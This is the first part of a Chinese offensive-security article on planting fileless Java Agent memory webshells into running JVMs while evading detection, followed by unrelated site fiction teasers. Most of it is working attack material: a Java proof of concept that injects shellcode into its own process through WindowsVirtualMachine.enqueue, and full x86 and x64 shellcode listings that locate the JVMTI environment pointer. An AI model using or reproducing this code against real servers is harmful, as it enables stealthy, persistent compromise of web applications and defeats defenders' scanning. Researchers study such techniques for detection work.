论如何优雅的注入Java Agent内存马(1)

前言

出品|先知社区(ID:rebeyond)

以下内容,来自先知社区的rebeyond作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

回顾

2018年,《利用“进程注入”实现无文件复活 WebShell》一文首次提出memShell(内存马)概念,利用Java Agent技术向JVM内存中植入webshell,并在github上发布memShell项目。项目中对内存马的植入过程比较繁琐,需要三个步骤:

上传inject.jar到服务器用来枚举jvm并进行植入;

上传agent.jar到服务器用来承载webshell功能;

执行系统命令java -jar inject.jar。

2020年,Behinder(冰蝎)v3.0版本更新中内置了Java内存马注入功能,此次更新利用self attach技术,将植入过程由上文中的3个步骤减少为2个步骤:

上传agent.jar到服务器用来承载webshell功能;

冰蝎服务端调用Java API将agent.jar植入自身进程完成注入。

2021年,Behinder(冰蝎)v3.0 Beta 10版本更新中,实现了内存马防检测(我称它为Anti-Attach技术),可以避免在我们注入内存马之后其他人再注入内存马或者扫描内存马。

作为一个“强迫症患者”,我一直认为上述的植入过程都不够优雅。attacker追求的是微操、无痕,而Agent内存马的植入却要在目标磁盘上落地一个Jar包,这个操作太“脏”了。

当然,在此期间,很多优秀的安全研究者将目标转向了向目标容器中新增各种Java Web组件上,比如新增一个Filter、Servlet、Listener、Spring的Controller等等,这种方式需要引入一些额外的相互引用关系,容易被检测到。而且对目标容器环境有较强的依赖性,不同的组件、不同的容器或者不同的版本,注入方法可能都不一样,通用性较弱。

2021年,《Java内存攻击技术漫谈》一文,提出了无文件agent植入技术,整个Agent注入的过程不需要在目标磁盘上落地文件,这勉强解决了“脏”的问题。但是该文中介绍的方法存在一个缺陷,那就是获取JPLISAgent的过程不够优雅和安静,会概率性的导致Java进程崩溃,这是不能忍的,于是就有了这篇文章。

优雅的构造JPLISAgent

在《Java内存攻击技术漫谈》一文中,我使用了特征字典+暴力内存搜索的方式来获取Native内存中的JVMTIEnv对象指针,由于ASLR的原因,在搜索过程中,很可能会将非指针数据作为指针来访问,从而触发内存访问异常,OS会直接接管这个异常并结束JVM进程。

如何才能精准地获取JVMTIEnv的指针呢?

Windows平台

在《Java内存攻击技术漫谈》一文中,我提出了一种可以在Windows平台下通过Java向指定进程植入并运行shellcode的方法,当目标进程PID为-1时,即可向自身进程植入并运行shellcode,Poc如下:

import java.lang.reflect.Method;public class RunShellCode  {    public static void main(String[] args) throws Exception {        System.loadLibrary("attach");        Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine");        for (Method m:cls.getDeclaredMethods())        {            if (m.getName().equals("enqueue"))            {                long hProcess=-1;                byte shellcode[] = new byte[]  //pop calc.exe x64                        {                            (byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,                                (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,                                (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,                                (byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,                                (byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,                                (byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,                                (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,                                (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,                                (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,                                (byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,                                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,                                (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,                                (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,                                (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,                                (byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,                                (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,                                (byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,                                (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,                                (byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,                                (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,                                (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,                                (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,                                (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,                                (byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,                                (byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,                                (byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,                                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,                                (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,                                (byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,                                (byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,                                (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,                                (byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,                                (byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,                                (byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,                                (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00                        };                String cmd="load";String pipeName="test";                m.setAccessible(true);                Object result=m.invoke(cls,new Object[]{hProcess,shellcode,cmd,pipeName,new Object[]{}});            }        }    }}

为了避免目标没有WindowsVirtualMachine,自己写一个同名类:

package sun.tools.attach;import java.io.IOException;public class WindowsVirtualMachine {    static native void enqueue(long hProcess, byte[] stub,String cmd, String pipename, Object... args) throws IOException;}

基于这个方法,我们可以写一段通用的shellcode来动态调用jvm.dll中的JNI_GetCreatedJavaVMs。

这段shellcode的主要工作流程是:

先获取到当前进程kernel32.dll的基址;

在kernel32.dll的输出表中,获取GetProcessAdd-ress函数的地址;

调用GetProcessAddress获取LoadLibraryA函数的地址;

调用LoadLibraryA加载jvm.dll获取jvm.dll模块在当前进程中的基址;

调用GerProcAddress在jvm.dll中获取JNI_GetCreat-edJavaVMs的地址;

调用JNI_GetCreatedJavaVMs;

还原现场,安全退出线程,优雅地离开,避免shellcode执行完后进程崩溃。

如下是x86版本的shellcode:

00830000 | 90                      | nop                                    |00830001 | 90                      | nop                                    |00830002 | 90                      | nop                                    |00830003 | 33C9                    | xor ecx,ecx                            |00830005 | 64:A1 30000000          | mov eax,dword ptr fs:[30]              |0083000B | 8B40 0C                  | mov eax,dword ptr ds:[eax+C]            |0083000E | 8B70 14                  | mov esi,dword ptr ds:[eax+14]          |00830011 | AD                      | lodsd                                  |00830012 | 96                      | xchg esi,eax                            |00830013 | AD                      | lodsd                                  |00830014 | 8B58 10                  | mov ebx,dword ptr ds:[eax+10]          | ebx:"MZ?"00830017 | 8B53 3C                  | mov edx,dword ptr ds:[ebx+3C]          | edx:"MZ?"0083001A | 03D3                    | add edx,ebx                            | edx:"MZ?", ebx:"MZ?"0083001C | 8B52 78                  | mov edx,dword ptr ds:[edx+78]          | edx:"MZ?"0083001F | 03D3                    | add edx,ebx                            | edx:"MZ?", ebx:"MZ?"00830021 | 33C9                    | xor ecx,ecx                            |00830023 | 8B72 20                  | mov esi,dword ptr ds:[edx+20]          |00830026 | 03F3                    | add esi,ebx                            | ebx:"MZ?"00830028 | 41                      | inc ecx                                |00830029 | AD                      | lodsd                                  |0083002A | 03C3                    | add eax,ebx                            | ebx:"MZ?"0083002C | 8138 47657450            | cmp dword ptr ds:[eax],50746547        |00830032 | 75 F4                    | jne 830028                              |00830034 | 8178 04 726F6341        | cmp dword ptr ds:[eax+4],41636F72      |0083003B | 75 EB                    | jne 830028                              |0083003D | 8178 08 64647265        | cmp dword ptr ds:[eax+8],65726464      |00830044 | 75 E2                    | jne 830028                              |00830046 | 8B72 24                  | mov esi,dword ptr ds:[edx+24]          |00830049 | 03F3                    | add esi,ebx                            | ebx:"MZ?"0083004B | 66:8B0C4E                | mov cx,word ptr ds:[esi+ecx*2]          |0083004F | 49                      | dec ecx                                |00830050 | 8B72 1C                  | mov esi,dword ptr ds:[edx+1C]          |00830053 | 03F3                    | add esi,ebx                            | ebx:"MZ?"00830055 | 8B148E                  | mov edx,dword ptr ds:[esi+ecx*4]        | edx:"MZ?"00830058 | 03D3                    | add edx,ebx                            | edx:"MZ?", ebx:"MZ?"0083005A | 52                      | push edx                                | edx:"MZ?"0083005B | 33C9                    | xor ecx,ecx                            |0083005D | 51                      | push ecx                                |0083005E | 68 61727941              | push 41797261                          |00830063 | 68 4C696272              | push 7262694C                          |00830068 | 68 4C6F6164              | push 64616F4C                          |0083006D | 54                      | push esp                                |0083006E | 53                      | push ebx                                | ebx:"MZ?"0083006F | FFD2                    | call edx                                |00830071 | 83C4 0C                  | add esp,C                              |00830074 | 59                      | pop ecx                                |00830075 | 50                      | push eax                                |00830076 | 66:B9 3332              | mov cx,3233                            |0083007A | 51                      | push ecx                                |0083007B | 68 6A766D00              | push 6D766A                            | 6D766A:L"$$笔划$$字根/笔划"00830080 | 54                      | push esp                                |00830081 | FFD0                    | call eax                                |00830083 | 8BD8                    | mov ebx,eax                            | ebx:"MZ?"00830085 | 83C4 0C                  | add esp,C                              |00830088 | 5A                      | pop edx                                | edx:"MZ?"00830089 | 33C9                    | xor ecx,ecx                            |0083008B | 51                      | push ecx                                |0083008C | 6A 73                    | push 73                                |0083008E | 68 7661564D              | push 4D566176                          |00830093 | 68 65644A61              | push 614A6465                          |00830098 | 68 72656174              | push 74616572                          |0083009D | 68 47657443              | push 43746547                          |008300A2 | 68 4A4E495F              | push 5F494E4A                          |008300A7 | 54                      | push esp                                |008300A8 | 53                      | push ebx                                | ebx:"MZ?"008300A9 | FFD2                    | call edx                                |008300AB | 8945 F0                  | mov dword ptr ss:[ebp-10],eax          |008300AE | 54                      | push esp                                |008300AF | 6A 01                    | push 1                                  |008300B1 | 54                      | push esp                                |008300B2 | 59                      | pop ecx                                |008300B3 | 83C1 10                  | add ecx,10                              |008300B6 | 51                      | push ecx                                |008300B7 | 54                      | push esp                                |008300B8 | 59                      | pop ecx                                |008300B9 | 6A 01                    | push 1                                  |008300BB | 51                      | push ecx                                |008300BC | FFD0                    | call eax                                |008300BE | 8BC1                    | mov eax,ecx                            |008300C0 | 83EC 30                  | sub esp,30                              |008300C3 | 6A 00                    | push 0                                  |008300C5 | 54                      | push esp                                |008300C6 | 59                      | pop ecx                                |008300C7 | 83C1 10                  | add ecx,10                              |008300CA | 51                      | push ecx                                |008300CB | 8B00                    | mov eax,dword ptr ds:[eax]              |008300CD | 50                      | push eax                                |008300CE | 8B18                    | mov ebx,dword ptr ds:[eax]              | ebx:"MZ?"008300D0 | 8B43 10                  | mov eax,dword ptr ds:[ebx+10]          |008300D3 | FFD0                    | call eax                                |008300D5 | 8B43 18                  | mov eax,dword ptr ds:[ebx+18]          |008300D8 | 68 00020130              | push 30010200                          |008300DD | 68 14610317              | push 17036114                          |;该内存地址是JavaVM->GetEnv的第一个参数,由我们动态指定,用来接收jvmti对象的地址008300E2 | 83EC 04                  | sub esp,4                              |008300E5 | FFD0                    | call eax                                |008300E7 | 83EC 0C                  | sub esp,C                              |008300EA | 8B43 14                  | mov eax,dword ptr ds:[ebx+14]          |008300ED | FFD0                    | call eax                                |008300EF | 83C4 5C                  | add esp,5C                              |008300F2 | C3                      | ret                                    |

如下是x64版本的shellcode:

00000000541E0000 | 48:83EC 28              | sub rsp,28                              |00000000541E0004 | 48:83E4 F0              | and rsp,FFFFFFFFFFFFFFF0                |00000000541E0008 | 48:31C9                  | xor rcx,rcx                            |00000000541E000B | 6548:8B41 60            | mov rax,qword ptr gs:[rcx+60]          |00000000541E0010 | 48:8B40 18              | mov rax,qword ptr ds:[rax+18]          |00000000541E0014 | 48:8B70 20              | mov rsi,qword ptr ds:[rax+20]          |00000000541E0018 | 48:AD                    | lodsq                                  |00000000541E001A | 48:96                    | xchg rsi,rax                            |00000000541E001C | 48:AD                    | lodsq                                  |00000000541E001E | 48:8B58 20              | mov rbx,qword ptr ds:[rax+20]          | rbx:"MZ?"00000000541E0022 | 4D:31C0                  | xor r8,r8                              |00000000541E0025 | 44:8B43 3C              | mov r8d,dword ptr ds:[rbx+3C]          |00000000541E0029 | 4C:89C2                  | mov rdx,r8                              |00000000541E002C | 48:01DA                  | add rdx,rbx                            | rbx:"MZ?"00000000541E002F | 44:8B82 88000000        | mov r8d,dword ptr ds:[rdx+88]          |00000000541E0036 | 49:01D8                  | add r8,rbx                              | rbx:"MZ?"00000000541E0039 | 48:31F6                  | xor rsi,rsi                            |00000000541E003C | 41:8B70 20              | mov esi,dword ptr ds:[r8+20]            |00000000541E0040 | 48:01DE                  | add rsi,rbx                            | rbx:"MZ?"00000000541E0043 | 48:31C9                  | xor rcx,rcx                            |00000000541E0046 | 49:B9 47657450726F6341  | mov r9,41636F7250746547                |00000000541E0050 | 48:FFC1                  | inc rcx                                |00000000541E0053 | 48:31C0                  | xor rax,rax                            |00000000541E0056 | 8B048E                  | mov eax,dword ptr ds:[rsi+rcx*4]        |00000000541E0059 | 48:01D8                  | add rax,rbx                            | rbx:"MZ?"00000000541E005C | 4C:3908                  | cmp qword ptr ds:[rax],r9              |00000000541E005F | 75 EF                    | jne 541E0050                            |00000000541E0061 | 48:31F6                  | xor rsi,rsi                            |00000000541E0064 | 41:8B70 24              | mov esi,dword ptr ds:[r8+24]            |00000000541E0068 | 48:01DE                  | add rsi,rbx                            | rbx:"MZ?"00000000541E006B | 66:8B0C4E                | mov cx,word ptr ds:[rsi+rcx*2]          |00000000541E006F | 48:31F6                  | xor rsi,rsi                            |00000000541E0072 | 41:8B70 1C              | mov esi,dword ptr ds:[r8+1C]            |00000000541E0076 | 48:01DE                  | add rsi,rbx                            | rbx:"MZ?"00000000541E0079 | 48:31D2                  | xor rdx,rdx                            |00000000541E007C | 8B148E                  | mov edx,dword ptr ds:[rsi+rcx*4]        |00000000541E007F | 48:01DA                  | add rdx,rbx                            | rbx:"MZ?"00000000541E0082 | 48:89D7                  | mov rdi,rdx                            |00000000541E0085 | B9 61727941              | mov ecx,41797261                        |00000000541E008A | 51                      | push rcx                                |00000000541E008B | 48:B9 4C6F61644C696272  | mov rcx,7262694C64616F4C                |00000000541E0095 | 51                      | push rcx                                |00000000541E0096 | 48:89E2                  | mov rdx,rsp                            |00000000541E0099 | 48:89D9                  | mov rcx,rbx                            | rbx:"MZ?"00000000541E009C | 48:83EC 30              | sub rsp,30                              |00000000541E00A0 | FFD7                    | call rdi                                |00000000541E00A2 | 48:83C4 30              | add rsp,30                              |00000000541E00A6 | 48:83C4 10              | add rsp,10                              |00000000541E00AA | 48:89C6                  | mov rsi,rax                            |00000000541E00AD | B9 6C6C0000              | mov ecx,6C6C                            |00000000541E00B2 | 51                      | push rcx                                |00000000541E00B3 | B9 6A766D00              | mov ecx,6D766A                          |00000000541E00B8 | 51                      | push rcx                                |00000000541E00B9 | 48:89E1                  | mov rcx,rsp                            |00000000541E00BC | 48:83EC 30              | sub rsp,30                              |00000000541E00C0 | FFD6                    | call rsi                                |00000000541E00C2 | 48:83C4 30              | add rsp,30                              |00000000541E00C6 | 48:83C4 10              | add rsp,10                              |00000000541E00CA | 49:89C7                  | mov r15,rax                            |00000000541E00CD | 48:31C9                  | xor rcx,rcx                            |00000000541E00D0 | 48:B9 7661564D73000000  | mov rcx,734D566176                      |00000000541E00DA | 51                      | push rcx                                |00000000541E00DB | 48:B9 7265617465644A61  | mov rcx,614A646574616572                |00000000541E00E5 | 51                      | push rcx                                |00000000541E00E6 | 48:B9 4A4E495F47657443  | mov rcx,437465475F494E4A                |00000000541E00F0 | 51                      | push rcx                                |00000000541E00F1 | 48:89E2                  | mov rdx,rsp                            |00000000541E00F4 | 4C:89F9                  | mov rcx,r15                            |00000000541E00F7 | 48:83EC 28              | sub rsp,28                              |00000000541E00FB | FFD7                    | call rdi                                |00000000541E00FD | 48:83C4 28              | add rsp,28                              |00000000541E0101 | 48:83C4 18              | add rsp,18                              |00000000541E0105 | 49:89C7                  | mov r15,rax                            |00000000541E0108 | 48:83EC 28              | sub rsp,28                              |00000000541E010C | 48:89E1                  | mov rcx,rsp                            |00000000541E010F | BA 01000000              | mov edx,1                              |00000000541E0114 | 49:89C8                  | mov r8,rcx                              |00000000541E0117 | 49:83C0 08              | add r8,8                                |00000000541E011B | 48:83EC 28              | sub rsp,28                              |00000000541E011F | 41:FFD7                  | call r15                                |00000000541E0122 | 48:83C4 28              | add rsp,28                              |00000000541E0126 | 48:8B09                  | mov rcx,qword ptr ds:[rcx]              |00000000541E0129 | 48:83EC 20              | sub rsp,20                              |00000000541E012D | 54                      | push rsp                                |00000000541E012E | 48:89E2                  | mov rdx,rsp                            |00000000541E0131 | 4D:31C0                  | xor r8,r8                              |00000000541E0134 | 4C:8B39                  | mov r15,qword ptr ds:[rcx]              |00000000541E0137 | 4D:8B7F 20              | mov r15,qword ptr ds:[r15+20]          |00000000541E013B | 49:89CE                  | mov r14,rcx                            |00000000541E013E | 41:FFD7                  | call r15                                |00000000541E0141 | 4C:89F1                  | mov rcx,r14                            |00000000541E0144 | 48:BA A8752F5600000000  | mov rdx,562F75A8                        | ;该内存地址是JavaVM->GetEnv的第一个参数,由我们动态指定,用来接收jvmti对象的地址00000000541E014E | 41:B8 00020130          | mov r8d,30010200                        |00000000541E0154 | 4D:8B3E                  | mov r15,qword ptr ds:[r14]              |00000000541E0157 | 4D:8B7F 30              | mov r15,qword ptr ds:[r15+30]          |00000000541E015B | 48:83EC 20              | sub rsp,20                              |00000000541E015F | 41:FFD7                  | call r15                                |00000000541E0162 | 48:83C4 20              | add rsp,20                              |00000000541E0166 | 4C:89F1                  | mov rcx,r14                            |00000000541E0169 | 4D:8B3E                  | mov r15,qword ptr ds:[r14]              |00000000541E016C | 4D:8B7F 28              | mov r15,qword ptr ds:[r15+28]          |00000000541E0170 | 41:FFD7                  | call r15                                |00000000541E0173 | 48:83C4 78              | add rsp,78                              |00000000541E0177 | C3                      | ret                                    |

详情请见下文

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,509评论 6 504
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,806评论 3 394
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 163,875评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,441评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,488评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,365评论 1 302
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,190评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,062评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,500评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,706评论 3 335
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,834评论 1 347
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,559评论 5 345
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,167评论 3 328
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,779评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,912评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,958评论 2 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,779评论 2 354

推荐阅读更多精彩内容